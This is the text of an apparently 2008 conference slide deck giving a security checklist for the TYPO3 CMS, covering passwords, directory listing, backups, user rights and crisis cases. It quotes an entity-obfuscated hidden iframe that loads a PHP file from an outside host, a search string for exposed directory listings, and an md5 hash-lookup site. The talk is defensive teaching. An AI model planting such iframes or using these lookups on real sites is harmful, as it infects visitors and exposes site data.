Security Checklist for TYPO3

1. Avoiding the bad guys
Security Checklist for TYPO3
International TYPO3 Conference
Berlin, 2008

2. TYPO3 has quite a good security history...

3. but ...
• TYPO3 is not „implement and forget“
• Regular checks and updates are required

4. Secure Passwords
• 9 or more characters
• Mixed upper/lowercase
• Do not use the same password everywhere
• Change regularly
• Passwords are stored as md5 hash, but...

5. md5.rednoize.com

6. md5 Hash Lookup

7. Disable Directory
Listing
• in httpd.conf change
Options All Indexes FollowSymLinks
to
Options All FollowSymLinks
• Google Search
intitle:quot;index ofquot; quot;last modifiedquot; size

8. Backup Your Data
• Regularly (cronjob)
• Directories: fileadmin, typo3conf, uploads
• Database: mysqldump --opt > filename
• Not only for the last one or two days
• Copy or download to external media
• Verify!
• Do not store inside docroot

9. also check for
www.domain.com/../system/
not being accessible

12. database.sql

13. md5.rednoize.com

15. Backend Users
• Editors should NEVER have admin rights
• Check list of BE users for valid entries
• Temporary editors (students, contract
workers): set expiration date for account

16. FTP Accounts
• Only give access to fileadmin/user_upload/...

17. When crisis strikes...

18. • „...the web forum software had an
unannounced security patch silently
released by the vendor nine days ago. The
defacement gang learned of the
vulnerability and went through the net
searching for vulnerable forums and
changed the front page of such forums to
their quot;greetingquot;.“

19. iframe Attacks
<iframe
src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;
&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;
&#104;&#107;&#46;&#99;&#111;&#109;&#47;
&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;
&#50;&#46;&#112;&#104;&#112;' width=1 height=1>
</iframe>

20. Link Manipulation
• www.domain.com/
index.php&L=2&www.badsite.com
• Limit range of linkVars:
config.linkVars = L(0-4)

21. Further Information
• TYPO3 Security Cookbook
available at typo3.org/teams/security/
• TYPO3 announce list
available at lists.netfielders.de

22. Questions ?